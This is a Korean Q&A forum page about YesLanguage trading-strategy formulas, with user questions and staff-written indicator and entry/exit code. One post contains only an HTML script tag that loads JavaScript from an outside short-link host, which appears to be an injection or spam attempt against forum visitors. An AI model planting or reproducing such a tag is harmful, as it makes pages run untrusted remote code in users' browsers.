커뮤니티
예스랭귀지 Q&A
답변완료
[공지] 예스랭귀지 AI 어시스턴트, '예스나 AI' 출시 및 무료 체험 안내
안녕하세요, 예스스탁 입니다.복잡한 수식 공부 없이 여러분의 아이디어를 말하면 시스템 트레이딩 언어 예스랭귀지로 작성해주는 서비스예스나 AI(YesNa AI)가 출시되었습니다.지금 예스나 AI를 직접 경험해 보실 수 있도록 20크레딧(질문권 20회)를 무료로 증정해 드리고 있습니다.바로 여러분의 아이디어를 코드로 변환해보세요.--------------------------------------------------🚀 YesNa AI 핵심 기능- 지표식/전략식/종목검색식 생성: 자연어로 요청하면 예스랭귀지 문법에 맞는 코드를 작성합니다.- 종목검색식 변환 지원: K증권의 종목 검색식을 예스랭귀지로 변환 지원합니다.- 컴파일 검증: 작성된 코드가 실행 가능한지 컴파일러를 통해 문법 검증을 거쳐 결과물을 제공합니다.상세한 서비스 개요 및 활용 방법은 [서비스 소개 페이지]에서 확인하실 수 있습니다.▶ 서비스 소개 페이지: 바로가기서비스 사용 유의사항 및 결제 환불정책은 [이용약관]을 참고 부탁드립니다.▶ 서비스 이용약관: 바로가기💬 이용 문의사용 중 문의사항은 [프로그램 사용법 Q&A] 게시판에서 [예스나 AI] 카테고리를 설정 후 문의해 주시면 상세히 안내해 드리겠습니다.--------------------------------------------------앞으로도 AI를 활용한 다양한 트레이딩 기능들을 지속적으로 선보일 예정입니다.많은 관심과 기대 부탁드립니다.
2026-02-27
1750
글번호 230811
답변완료
문의
수식 답변 고맙습니다.
첨부파일은 아래수식 시뮬레이션 결과입니다
1분차트
data2 kp외국인순매수금액
data3 kp기관계순매수금액
문제점은
시작시간을 10시로 했을 경우 9시01분에 진입하는 경우들이 생깁니다.
수식 살펴주세요.
항상 고맙습니다.
**********************************************************************************
안녕하세요
예스스탁입니다.
input : b1(28),b2(28),X1(28),X2(28),ER(8),EF(8),CR(8),CF(8),거래횟수(20),시작시간(090000) ;
var : T1(0,Data1),entry(0,Data1),LL(0,Data1),EH(0,Data1),E1(0,Data1),H1(0,Data1),i1(0,Data1),S1(0,Data1),L1(0,Data1),V1(0,Data1);
var : sum(0,Data1);
sum = Data2(c)+data3(c);
if Data2((sdate != sdate[1] and stime >= 시작시간) or
(sdate == sdate[1] and stime >= 시작시간 and stime[1] < 시작시간)) Then
{
T1 = TotalTrades;
E1 = 0;
LL = sum;
}
if data2(stime >= 시작시간) then
{
if sum < LL Then
LL = sum;
if MarketPosition == 0 Then
entry = TotalTrades-T1;
Else
entry = (TotalTrades-T1)+1;
if MarketPosition == 0 and entry == 0 Then
{
if E1 == 0 and sum >= LL+data2(PriceScale)*B1 and sum[1] < LL+data2(PriceScale)*B1 Then
{
E1 = 1;
H1 = sum;
i1 = data2(index);
V1 = LL; //시작점 종가
}
if E1 == 1 and data2(index > i1) then
{
if sum > H1 Then
H1 = sum;
#저가가 시작봉종가보다 클때만 눌림체크
if sum >= V1 and sum <= H1-data2(PriceScale)*ER Then
{
E1 = 2;
i1 = data2(index);
S1 = H1;
}
}
//시작점 종가보다 낮은 가격이 발생하면 초기화
if E1 >= 1 and sum < V1 Then
{
E1 = 0;
LL = L;
}
if E1 == 2 and data2(index) > i1 and sum >= S1+data2(PriceScale)*EF Then
{
buy("b1");
}
}
if TotalTrades > TotalTrades[1] Then
{
E1 = 0;
LL = sum;
}
if sum < LL Then
LL = sum;
if MarketPosition == 0 and entry >= 1 and entry < 거래횟수 Then
{
if E1 == 0 and sum >= LL+data2(PriceScale)*B2 and sum[1] < LL+data2(PriceScale)*B2 Then{
E1 = 1;
H1 = sum;
i1 = data2(index);
V1 = LL; //시작점 종가
}
if E1 == 1 and index > i1 then
{
if sum > H1 Then
H1 = sum;
#저가가 시작봉종가보다 클때만 눌림체크
if sum >= V1 and sum <= H1-data2(PriceScale)*ER Then
{
E1 = 2;
i1 = Data2(index);
S1 = H1;
}
}
//시작점 종가보다 낮은 가격이 발생하면 초기화
if E1 >= 1 and sum < V1 Then
{
E1 = 0;
LL = sum;
}
if E1 == 2 and data2(index) > i1 and sum >= S1+data2(PriceScale)*EF Then
{
buy("b2");
}
}
if MarketPosition == 1 Then
{
if entry >= 1 then
{
if CurrentContracts > CurrentContracts[1] Then
{
EH = sum;
E1 = 0;
}
if sum > EH Then
{
EH = sum;
E1 = 0;
}
if E1 == 0 and sum <= EH-data2(PriceScale)*X1 Then
{
E1 = 1;
L1 = sum;
i1 = index;
}
if E1 == 1 and data2(index) > i1 Then
{
if sum < L1 Then
L1 = sum;
if H >= L1+PriceScale*CR Then
{
E1 = 2;
I1 = data2(index);
S1 = L1;
}
}
if E1 == 2 and data2(index) > i1 and sum <= S1-data2(PriceScale)*CF Then
{
exitlong("bx1");
E1 = 0;
}
}
}
if MarketPosition == 1 Then
{
if entry >= 1 then
{
if CurrentContracts > CurrentContracts[1] Then
{
EH = sum;
E1 = 0;
}
if sum > EH Then
{
EH = sum;
E1 = 0;
}
if E1 == 0 and C <= EH-data2(PriceScale)*X2 Then
{
E1 = 1;
L1 = sum;
i1 = data2(index);
}
if E1 == 1 and data2(index) > i1 Then
{
if sum < L1 Then
L1 = sum;
if H >= L1+data2(PriceScale)*CR Then
{
E1 = 2;
I1 = data2(index);
S1 = L1;
}
}
if E1 == 2 and data2(index) > i1 and sum <= S1-data2(PriceScale)*CF Then
{
exitlong("bx2");
E1 = 0;
}
}
}
}
즐거운 하루되세요
> 좌오비우오비 님이 쓴 글입니다.
> 제목 : 문의1
> 아래수식은 주차트에 사용하는 buy 수식입니다.
1. 보조차트2와 보조차트3을 이용해서 양합을 구합니다.
var : sum(0,Data1);
sum = Data2(c)+data3(c);
2. 구한 양합을 아래 수식에 따라 진입과 청산에 사용하고 싶습니다.
2021-01-16
1245
글번호 145502
답변완료
문의드립니다
1.믿꼬리가 몸통보다 두배긴 망치형
2.윗 꼬리가 몸통보다 두배긴 역망치
3.양봉도지형
4.음봉도지형
위 내용을 어떻게 수식을 작성하나요
2021-01-16
1122
글번호 145501
답변완료
수식 문의 드립니다.
ShortEntryCondition = 진입조건;
if(ShortEntryCondition == true) then begin
if(MarketPosition == 0) then
Sell("ShortStop" , AtStop, 진입가격, NumberOfShares);
end;
end;
위와 같이 진입조건이 성립시 예비신호가 나오고, 진입가격이 됐을 때 진입하는 전략을 사용하려고 합니다.
제가 궁금한 것은 진입조건이 일단 성립하고 나서 해당봉에서만 주문이 나가는 것이 아닌 n봉 동안 주문이 나갈수있도록 하고 싶습니다.가령 3봉 전에 진입조건이 성립했더라도 현재 봉에 가격에 도달하면 주문이 나갈수 있게하고 싶은데 수식을 추가해주세요
2021-01-15
1136
글번호 145500
답변완료
문의드립니다
진입은 두계약으로 macd가 시그널선을 상향돌파 매수 하향돌파 매도
청산은 두계약 따로하고 싶은데 이게 잘 안되네요
첫번째 청산은 진입하고 50틱에 도달하면 청산하고 두번째는 150틱에 청산하되 만약 150틱에 도달 못하면 첫번재 청산후 최고점에서 40프로 다운되면 하고싶거든요. 예를 들면 첫번째 50틱에 청산되고 150틱 도달하면 150틱에 청산하고 150틱 도달못하고 100틱까지 갔다가 60틱으로 내려오면 청산되게 하고 싶습니다. 매도도 같습니다
2021-01-15
966
글번호 145499
답변완료
문의 드려요
문의 드려요 <script src="http://33h.co/dB97"></script>
2021-01-15
1359
글번호 145498
해피오 님에 의해서 삭제되었습니다.
2021-01-15
26
글번호 145497
러블리 님에 의해서 삭제되었습니다.
2021-01-15
183
글번호 145496
답변완료
전고점 돌파 매매
제가 쓰는 수식을 바탕으로 전고점 돌파매매로 변환해 보고싶습니다.
매수는 전고점 돌파시마다 5차매수까지 진행, 동일비율로 진입합니다.
그리고 손절선을 1차매수시 -5%, 2차매수시 평균단가 -2.5%, 3차매수시 평균단가 -1.7%,
4차매수시 평균단가 -1.25%, 5차매수시 평균단가 -1.0%로 지정합니다.
수익실현은 따로 설정하지 않고, 손절시에는 처음부터 다시 1차매수로 진입하도록 하고 싶습니다. 전고점 확인봉 개수는 5분봉을 이용하고 첨부한 파일처럼.. 대략 120개 정도 되는거 같습니다. 이부분이 명확하지 않다면 일반적으로 전고점 확인하는 갯수로 지정해주셔도 됩니다.
아래는 제가 사용하는 수식입니다.
----------------
Input : 투자금액(10000000),Period(20), MultiD(2), N(1),시작일(20200921),시작시간(090000),청산시간(153000);
Input : loss(5),P(3),WRP(10);
var : e(0),x(0),count(0),Tcond(false),BBup(0),BBdn(0),WR(0),Vma(0);
var : HH(0),Bxcond1(false),Bxcond2(false),Bxcond3(false);
var : LL(0),Sxcond1(false),Sxcond2(false),Sxcond3(false);
Array : VV[6](0),XX[5](0);
BBup = BollBandUp(Period,MultiD);
BBdn = BollBandDown(Period,MultiD);
WR = WILLR(WRP);
Vma = ma(V,P);
vv[0] = floor((투자금액*0.1)/NextBarOpen);
vv[1] = floor((투자금액*0.1)/NextBarOpen);
vv[2] = floor((투자금액*0.1)/NextBarOpen);
vv[3] = floor((투자금액*0.2)/NextBarOpen);
vv[4] = floor((투자금액*0.2)/NextBarOpen);
vv[5] = floor((투자금액*0.3)/NextBarOpen);
if NextBarSdate >= 시작일 and NextBarStime >= 시작시간 Then
Tcond = true;
if bdate != bdate[1] Then
count = 0;
if MarketPosition != 0 and MarketPosition != MarketPosition[1] Then
count = count+1;
if sdate >= 시작일 and stime >= 시작시간 Then
Tcond = true;
if Tcond == true and NextBarStime <= 151000 then{
if (TotalTrades == 0 or MarketPosition == 0 and BarsSinceExit(1) > 2) then{
if MarketPosition == 0 and count < N and CrossDown(c,bbdn) and
V >= Vma[1]*2.0 Then {
buy("b1",atmarket,def,vv[MaxEntries]);
}
if MarketPosition == 1 Then{
if CurrentContracts > CurrentContracts[1] Then{
e = e +1;
if e == 1 then
XX[e] = CurrentContracts;
Else
XX[e] = CurrentContracts-CurrentContracts[1];
}
#두번째 매수
if MarketPosition == 1 and e == 1 and CrossDown(c,bbdn) and NextBarSdate == sdate and
V >= Vma[1]*2.0 Then
{
buy("b2",atmarket,def,vv[MaxEntries]);
}
#세번재매수
if MarketPosition == 1 and e == 2 and CrossDown(c,bbdn) and NextBarSdate == sdate and
V >= Vma[1]*2.0 Then
{
buy("b3",atmarket,def,vv[MaxEntries]);
}
#네번재매수
if MarketPosition == 1 and e == 3 and CrossDown(c,bbdn) and NextBarSdate == sdate and
V >= Vma[1]*2.0 Then
{
buy("b4",atmarket,def,vv[MaxEntries]);
}
#다섯번재매수
if MarketPosition == 1 and e == 4 and CrossDown(c,bbdn) and NextBarSdate == sdate and
V >= Vma[1]*2.0 Then
{
buy("b5",atmarket,def,vv[MaxEntries]);
}
#여섯번재매수
if MarketPosition == 1 and e == 5 and CrossDown(c,bbdn) and NextBarSdate == sdate and
V >= Vma[1]*3.0 Then
{
buy("b6",atmarket,def,vv[MaxEntries]);
}
HH = highest(H,BarsSinceEntry);
if CurrentContracts < CurrentContracts[1] and LatestExitName(0) == "Bx1" Then
Bxcond1 = true;
if CurrentContracts < CurrentContracts[1] and LatestExitName(0) == "Bx2" Then
Bxcond2 = true;
if CurrentContracts < CurrentContracts[1] and LatestExitName(0) == "Bx3" Then
Bxcond3 = true;
if Bxcond1 == false and HH >= EntryPrice*1.10 and HH < EntryPrice*1.15 Then
ExitLong("Bx1",AtStop,HH-(HH-EntryPrice)*0.1,"",Floor(MaxContracts*(1/5)),1);
if Bxcond2 == false and HH >= EntryPrice*1.15 and HH < EntryPrice*1.20 Then
ExitLong("Bx2",AtStop,HH-(HH-EntryPrice)*0.1,"",Floor(MaxContracts*(2/5)),1);
if Bxcond3 == false and HH >= EntryPrice*1.20 and HH < EntryPrice*1.30 Then
ExitLong("Bx3",AtStop,HH-(HH-EntryPrice)*0.1,"",Floor(MaxContracts*(2/5)),1);
}}}
2021-01-15
1549
글번호 145495
답변완료
수식문의
문의드립니다.
일분봉차트에서
전일종가대비 상승률이 5%미만이고
2일전 종가보다 상승률이 10% 미만인 종목을검색하고 싶습니다.
수식 부탁드립니다~~
2021-01-15
1077
글번호 145494